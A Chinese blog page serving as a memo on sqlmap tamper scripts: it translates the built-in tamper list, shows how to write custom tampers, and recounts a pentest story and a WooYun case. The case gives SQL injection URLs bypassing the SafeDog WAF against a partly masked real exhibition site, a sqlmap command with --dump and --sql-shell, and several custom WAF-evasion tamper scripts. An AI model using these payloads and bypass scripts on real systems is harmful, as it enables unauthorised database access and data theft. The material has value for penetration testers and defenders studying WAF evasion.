查看sqlmap全部脚本

$ python sqlmap.py --list-tampers

使用方法

--tamper=TAMPER

2019.9更新后翻译

* apostrophemask.py-用其UTF-8全角字符替换撇号(')(例如'->%EF%BC%87)
* apostrophenullencode.py-用非法的双unicode替换撇号(')(例如'->%00%27)
* appendnullbyte.py-在有效载荷的末尾附加(访问)NULL字节字符(%00)
* base64encode.py-Base64对给定有效载荷中的所有字符进行编码
* between.py- 替换较大比运算符('>')带有'NOT BETWEEN 0 AND#',等于运算符('=')与'BETWEEN#AND#'
* bluecoat.py-用有效的随机空白字符替换SQL语句后的空格字符。然后用运算符LIKE替换字符'='
* chardoubleencode.py-双重URL编码给定有效负载中的所有字符(未处理已编码)(例如SELECT->%2553%2545%254C%2545%2543%2554)
* charencode.py-URL编码中的所有字符给定的有效载荷(不处理已经编码的)(例如SELECT->%53%45%4C%45%43%54)
* charunicodeencode.py-Unicode-URL编码给定的有效载荷中的所有字符(不处理已经编码的)(例如SELECT->%u0053%u0045%u004C%u0045%u0043%u0054)
* charunicodeescape.py-Unicode转义给定有效负载中的未编码字符(未处理已编码的字符)(例如SELECT-> \ u0053 \ u0045 \ u004C \ u0045 \ u0043 \ u0054)
* commalesslimit.py-用'LIMIT N OFFSET M'替换(MySQL)实例,例如'LIMIT M,N'
* commalessmid.py-用'MID(A FROM B FOR C)'替换(MySQL)实例,例如'MID(A,B,C)'
* commentbeforeparentheses.py-在括号前加(内联)注释(例如((-> / ** /()
* concat2concatws.py-用'CONCAT_WS(MID(CHAR(0),0,0),A,B)' 等价物(相当于)替换(MySQL)实例,例如'CONCAT(A,B)' 。
* equaltolike.py- 将所有出现的等于('=')运算符替换为'LIKE'
* escapequotes.py-斜杠转义单引号和双引号(例如'-> \')
* great.py- 替换大于运算符('>' )和'GREATEST'对应
* Halfversionedmorekeywords.py-在每个关键字
* hex2char.py-替换每个(MySQL)0x等效的CONCAT(CHAR(),...)编码字符串
* htmlencode.py-HTML编码(使用代码点)所有非字母数字字符(例如'->')
* ifnull2casewhenisnull.py-替换'IFNULL( A,B)'与'CASE WHEN ISNULL(A)THEN(B)ELSE(A)END'对应
* ifnull2ifisnull.py-用'IF(ISNULL(A),B)替换'IFNULL(A,B)'之类的实例,A)'对应
* informationschemacomment.py-在所有出现的(MySQL)“ information_schema”标识符的末尾添加一个内联注释(/ ** /)
* least.py 用'LEAST'对应替换大于运算符('>')
* lowercase.py-用小写值替换每个关键字字符(例如SELECT->选择)
* luanginx.py-LUA-Nginx WAF绕过(例如Cloudflare)
* modsecurityversioned.py-包含带有(MySQL)版本注释的完整查询
* modsecurityzeroversioned.py-包含带有(MySQL)零版本注释的完整查询
* multiplespaces.py-在SQL关键字周围添加多个空格('')
* overlongutf8.py-将给定有效载荷中的所有(非字母数字)字符转换为超长UTF8(未处理已编码)(例如'->%C0%A7)
* overlongutf8more.py-将给定有效载荷中的所有字符转换为超长UTF8(尚未处理编码)(例如SELECT->%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)
* percent.py-在每个字符前面添加一个百分号('%') (例如SELECT->%S%E%L%E%C%T)
* plus2concat.py-替换加号运算符('+')与(MsSQL)函数CONCAT()对应
* plus2fnconcat.py-用(MsSQL)ODBC函数{fn CONCAT()}替换加号('+')对应项
* randomcase.py-用随机大小写值替换每个关键字字符(例如SELECT-> SEleCt)
* randomcomments.py -在SQL关键字内添加随机内联注释(例如SELECT-> S / ** / E / ** / LECT)
* sp_password.py-将(MsSQL)函数'sp_password'附加到有效负载的末尾,以便从DBMS日志中自动进行混淆
* space2comment.py-用注释'/ ** /' 替换空格字符('')
* space2dash.py-用短划线注释('-')替换空格字符(''),后跟一个随机字符串和一个新的行('\ n')
* space2hash.py-用井字符('#')替换(MySQL)空格字符('')实例,后跟随机字符串和换行('\ n')
* space2morecomment.py-替换(MySQL)带注释'/ ** _ ** /' 的空格字符('')实例
* space2morehash.py-用井号('#')后面跟一个随机字符串替换(MySQL)空格字符('')实例和新行('\ n')
* space2mssqlblank.py-用有效的替代字符集中的随机空白字符替换空间字符('')的(MsSQL)实例
* space2mssqlhash.py-替换空间字符('' )和井号('#'),后接换行('\ n')
* space2mysqlblank.py-用有效替代字符集中的随机空白字符替换(MySQL)空格字符('')实例
* space2mysqldash.py-用破折号('-')替换空格字符('') )后跟换行('\ n')
* space2plus.py-用加号('+')替换空格字符('')
* space2randomblank.py-用空格中的随机空白字符替换空格字符('')有效的替代字符集
* substring2leftright.py-用LEFT和RIGHT替换PostgreSQL SUBSTRING
* symbolicologic.py-用其符号对应物(&&和||)替换AND和OR逻辑运算符
* unionalltounion.py-用UNION SELECT对应项替换UNION ALL SELECT的实例
* unmagicquotes.py-用多字节组合%BF%27替换引号字符('),并在末尾添加通用注释(以使其起作用)
* uppercase.py-用大写值替换每个关键字字符(例如select -> SELECT)
* varnish.py-附加HTTP标头'X-originating-IP'以绕过Varnish防火墙
* versionedkeywords.py-用(MySQL)版本注释将每个非功能性关键字括起来
* versionedmorekeywords.py-将每个关键字包含(MySQL)版本注释
* xforwardedfor.py-附加伪造的HTTP标头'X-Forwarded-For'

tamper脚本编写

拿第一个脚本apostrophemask来说

from lib.core.enums import PRIORITY  

__priority__ = PRIORITY.LOWEST  # 优先级设置

def dependencies():  # 当前脚本适用和不适用的情况,一般pass
pass def tamper(payload, **kwargs):  # tamper函数为自定义你的payload
"""
Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87) References:
* http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
* http://lukasz.pilorz.net/testy/unicode_conversion/
* http://sla.ckers.org/forum/read.php?13,11562,11850
* http://lukasz.pilorz.net/testy/full_width_utf/index.phps >>> tamper("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
""" return payload.replace('\'', "%EF%BC%87") if payload else payload

 

该脚本将 ’ 全部替换为%EF%BC%87最后返回payload

 return payload.replace('\'', "%EF%BC%87") if payload else payload

具体测试情况可以添加你自己的payload,比如绕过waf,参数测试修改,下面是一些案例

一些案例

国外案例:

在最近的渗透测试中,BURP Suite在目标网站中发现了一些盲目的SQL注入漏洞。将SQLMAP指向该网站表示对我们没有任何爱,只是说它无法利用该网站。我已经向客户提到了SQLi问题,他说以前的渗透测试人员说它们无法利用。我们还是决定仔细看看。该网站的网址看起来很奇怪。我不能专门谈论有问题的网站,但是URI看起来像这样:

HTTP://www.example.tgt/website.php QnnyBZ4_ZB6qvm = xxxTcTc&k3mK4_ZQ6v = 6V9A&UQK4_ZQ6v = qVllgrr

您会注意到字段名称(带红色下划线的名称)具有非常奇怪的名称。起初我以为这些只是怪异的字段名称。也许开发人员有一些我不理解的字段代号。但是后来我注意到这些值(在BLUE中加下划线)也很奇怪。URL上的任何信息对我来说都没有任何意义。我抓住了一个同事,我们花了一些时间试图弄清楚正在使用哪种奇怪的编码。该Web应用程序具有一些有用的功能,这些功能使翻译很容易弄清楚。如果我们"AAAAAAAAA"在网站搜索页面的ACCOUNT NUMBER字段中输入内容,则会看到它将我们重定向到包含URI的网页'QnnyBZ4_ZB6qvm=QQQQQQQQQ'。当我们搜索其中的ACCOUNT NUMBER时'BBBBBBBBB",我们进入带有URI的网页'QnnyBZ4_ZB6qvm=qqqqqqqqq'。显然,URL上使用了某种类型的字符替换密码。帐号的最大大小为9个字符。但是通过一些查询,我可以弄清楚整个字符集映射。我搜索了一个ACCOUNT NUMBER,"ABCDEFGHI"发现一个包含的URI 'QnnyBZ4_ZB6qvm=QqnPvka03'。我搜索'JKLMNOPQR'并找到了一个包含的URI 'QnnyBZ4_ZB6qvm=wMU6Zybjm'。我对每个大写,小写和数字字符都重复了此过程,很快我得到了以下字符映射。

普通字母='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

加密字母='QqnPvka03wMU6ZybjmK4BRSEWdVishgClpI1AouFNOJ9zrtL2Yef7Tc8GxDHX5'

Python使在两组字符之间转换变得容易。使用Python 3,我们可以执行以下操作:

这将单词"HELLO"转换为"OvUUy"使用指定的字符映射。maketrans的参数"FROM STRING"后面是"TO STRING"。朝另一个方向前进只是简单地反转传递给str.maketrans()的参数并传递(encrypted_letter,normal_letters)

在Python2中,您必须导入字符串模块,因为maketrans函数存储在此处。但是除此之外,语法是相同的。

现在,我可以解码网址了!因此,我们尝试了前面看到的URL。

真棒。现在这是我能理解的。现在我们可以自由地对攻击进行编码和解码了,我们在手动利用方面取得了更大的成功。但是我很懒!我希望SQLMAP为我自动化攻击!如果我不告诉SQLMAP如何对它的注入进行编码,那么它将不适用于该网站。SQLMAP篡改脚本旨在实现这一目的。SQLMAP随"TAMPER"脚本一起分发,以执行一些任务,例如在注入结束时添加NULL字节或随机化查询中字母的大小写。创建一个自定义篡改脚本来进行字符转换非常简单。SQLMAP使用的是Python2,因此我们必须导入字符串模块。但是,以其他篡改脚本之一为例,我们快速编写了以下内容:

我们将此新文件保存为“ custom_caesar.py”,并将其放置在SQLMAP的“ tamper”目录中。然后,将脚本名称传递给-tamper参数。

python sqlmap.py -u“ https://www.example.tgt/webapp.php?QnnyBZ4_ZB6qvm = xxxTcTc&k3mK4_ZQ6v = 6V9A&UQK4_ZQ6v = qVllgrr ” -tamper = custom_caesar.py -dump

然后坐下来观看SQLMAP的胜利之路。几行自定义Python代码将此漏洞从“无法利用的误报”变为严重的漏洞,需要立即引起注意。使用篡改脚本后,我们可以使用SQLMAP访问数据库中的所有内容,从而节省了手动开发和编码的时间。只需将3行自定义Python代码插入到现有的篡改脚本模板中即可。

乌云案例:中国国际广播电视信息网络展览会 主站:

code 区域

http://**.**.**.**bn.tv/

介绍:http://**.**.**.**bn.tv/channels/4.html

漏洞url:

code 区域

http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p
参数:CustomerName可注入

遇到狗:

code 区域

http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27) and 1=user--

绕过:

字段数:

code 区域

http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27)/*/\*/order /*/\*/by/*/\*/71--

然后union

code 区域

http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27)/*/\*/UNION/*/\*/ SELECT/*/\*/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71--

提示类型不匹配。。。

然后全部替换为NULL,报错

code 区域

输入字符串的格式不正确

code 区域

http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27)/*/\*/UNION/*/\*/ SELECT/*/\*/NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

字段太多,需要去对应探测,但是有可能是多个NULL,所以直接用SQLMap去跑,需要自定sqlmap脚本

然后就有如下语句:

code 区域

sqlmap.py --batch -u "http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p" -p CustomerName --prefix "%27)/*/\*/" --suffix "--" --tamper "tamper/space2myscript.py" --current-user --dbs --sql-shell

仅做证明,未深入。。。

========================================================

space2myscript.py脚本:

code 区域

#!/usr/bin/env python
"""
developers (goubuli) """
import random
import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): retVal = "" if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
retVal += "/*/\*/"
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i] return retVal

一些脚本案例:

倾旋的脚本:

#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW def tamper(payload,**kwargs):
if payload:
bypass_SafeDog_str = "/*x^x*/" # 一个干扰字符
payload=payload.replace("UNION",bypass_SafeDog_str+"UNION"+bypass_SafeDog_str) # 在UNION的左右两边添加干扰字符
payload=payload.replace("SELECT",bypass_SafeDog_str+"SELECT"+bypass_SafeDog_str) # 同上,
payload=payload.replace("AND",bypass_SafeDog_str+"AND"+bypass_SafeDog_str) # 同上,
payload=payload.replace("=",bypass_SafeDog_str+"="+bypass_SafeDog_str) # 将空格替换成干扰字符
payload=payload.replace(" ",bypass_SafeDog_str)
payload=payload.replace("information_schema.","%20%20/*!%20%20%20%20INFOrMATION_SCHEMa%20%20%20%20*/%20%20/*^x^^x^*/%20/*!.*/%20/*^x^^x^*/") # 将information_schema.这个关键字替换成URL编码后的内容
payload=payload.replace("FROM",bypass_SafeDog_str+"FROM"+bypass_SafeDog_str) # 同样替换
#print "[+]THE PAYLOAD RUNNING...Bypass safe dog 4.0 apache version ."
print payload # 输出Payload
return payload # 返回Payload

  

#!/usr/bin/env python
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload):
if payload:
pass
payload = payload.replace("SLEEP(5)","\"0\" LikE Sleep(5)") # 将SLEEP(5)替换成"0" LIKE Sleep(5),因为Sleep()函数执行后会返回0,0等于0就会返回true
payload = payload.replace("","/*FFFFFFFFFFFFFFFFFFFFFFFFF*/") # 将空格替换
p = re.compile(r'(\d+)=')
payload=p.sub(r"'\1'LikE ", payload) #将数字附近的=替换成LikE
return payload # 返回payload

参考:https://payloads.online/archivers/2017-06-08/1

sqlmap tamper脚本备忘录与tamper脚本编写的更多相关文章

  1. 关于nagios系统下使用shell脚本自定义监控插件的编写

    在自已编写监控插件之前我们首先需要对nagios监控原理有一定的了解 Nagios的功能是监控服务和主机,但是他自身并不包括这部分功能,所有的监控.检测功能都是通过各种插件来完成的. 启动Nagios ...

  2. IDEA中编写脚本并运行shell脚本

    IDEA中编写脚本并运行shell脚本     来自 <https://blog.csdn.net/u012443641/article/details/81295999>

  3. VBS脚本编程(10)——编写WMI脚本

    WMI介绍 1.WMI是什么? WMI--Windows管理规范(Windows Management instrumentation). 是一项核心的Windows管理技术. 采用统一的.基于开放标 ...

  4. Tomcat重启脚本restart.sh停止脚本stop.sh

    Tomcat重启脚本restart.sh停止脚本stop.sh Tomcat本身提供了 startup.sh(启动)shutdown.sh(关闭)脚本,我们在部署中经常会出现死进程形象,无法杀掉进程需 ...

  5. shell脚本介绍、shell脚本结构和执行、date命令用法、shell脚本中的变量

    7月11日任务 20.1 shell脚本介绍20.2 shell脚本结构和执行20.3 date命令用法20.4 shell脚本中的变量 20.1 shell脚本介绍 1.shell脚本语言是linu ...

  6. Appium移动自动化测试-----(六)2.AppiumDesktop录制脚本生成极简脚本

    AppiumDesktop启动页面: 启动AppiumDesktop以后点击该页面右上角的Start New Session按钮,就会启动一个新的会话窗口(如下图),在这个窗口我们需要配置一些Desi ...

  7. shell脚本分为三类:登录脚本、交互式脚本、非交互式脚本

    shell脚本分为三类:登录脚本.交互式脚本.非交互式脚本 一. 登录脚本类似于windows下的计算机设置中的登录脚本和账户设置下的登录脚本的合集(我是这么理解的哈). 其配置文件的关键词为pref ...

  8. 【Shell脚本】运行shell脚本文件的几种方法与区别

    Shell脚本不同的运行方式会对当前Shell设置或者运行结果有所不同. 假设现在有一个脚本名为display_shell_script_args.sh,其内容如下: #!/home/pyf/bin/ ...

  9. sql2005还原超长sql脚本,还原超大脚本文件

    原文:sql2005还原超长sql脚本,还原超大脚本文件 从外网把数据库用导出脚本的方式导出来了,280M的样子,导是导出来了,但是在本机执行sql脚本的时候,直接就是out of memory,之前 ...

随机推荐

  1. 设计模式(Java语言)- 原型模式

    原型模式(Prototype Pattern)也有人将原型模式称为克隆模式,是属于创造型设计模式,用于创建重复的对象,提供了一种创建对象的最佳方式.原型模式需要实现Cloneable接口,来实现对象的 ...

  2. golang之channel

    Buffered Channels package main import "fmt" func main() { ch := make(chan int, 2) ch <- ...

  3. Spring mvc的基本配置及工作原理

    1.spring mvc框架搭建 需求:在浏览器输入一个请求login.do,跳转到登录成功界面. 第一步,创建web项目,导入jar包 注意: 第二步,在web.xml中配置spring的核心监听器 ...

  4. zabbix 告警信息与恢复信息

    名称: Action-Email 默认接收人: 故障{TRIGGER.STATUS},服务器:{HOSTNAME1}发生: {TRIGGER.NAME}故障! 默认信息: 告警主机:{HOSTNAME ...

  5. 一次内核 crash 的排查记录

    一次内核 crash 的排查记录 使用的发行版本是 CentOS,内核版本是 3.10.0,在正常运行的情况下内核发生了崩溃,还好有 vmcore 生成. 准备排查环境 crash 内核调试信息rpm ...

  6. Pytorch 四种边界填充方式(Padding)

    1. 选用卷积之前填充(强烈建议) 小生非常推荐大家不再使用卷积所带的填充方式,虽然那种方式简单,但缺陷太多.① 不能根据自己的需要来决定上与下填充不等的边界,左右填充不等的边界:② 边界填充零容易出 ...

  7. 【Hadoop离线基础总结】Sqoop数据迁移

    目录 Sqoop介绍 概述 版本 Sqoop安装及使用 Sqoop安装 Sqoop数据导入 导入关系表到Hive已有表中 导入关系表到Hive(自动创建Hive表) 将关系表子集导入到HDFS中 sq ...

  8. python重试次数装饰器

    目录 重试次数装饰器 重试次数装饰器 前言, 最近在使用tornado框架写Restful API时遇到很多的问题. 有框架的问题, 有异步的问题. 虽然tornado 被公认为当前python语言最 ...

  9. 数据库-第八章 数据库编程-8.1 嵌入式SQL

    嵌入式SQL 一.嵌入式SQL的处理过程 1.嵌入式SQL语句的基本格式 2.嵌入式SQL的处理过程 3.主语言访问数据库的基本步骤 ⅰ建立数据库连接 ⅱ定义必要的主变量和数据通信区 ⅲ访问数据库并返 ...

  10. 力扣题解-面试题58 - II. 左旋转字符串

    题目描述 字符串的左旋转操作是把字符串前面的若干个字符转移到字符串的尾部.请定义一个函数实现字符串左旋转操作的功能. 比如,输入字符串"abcdefg"和数字2,该函数将返回左旋转 ...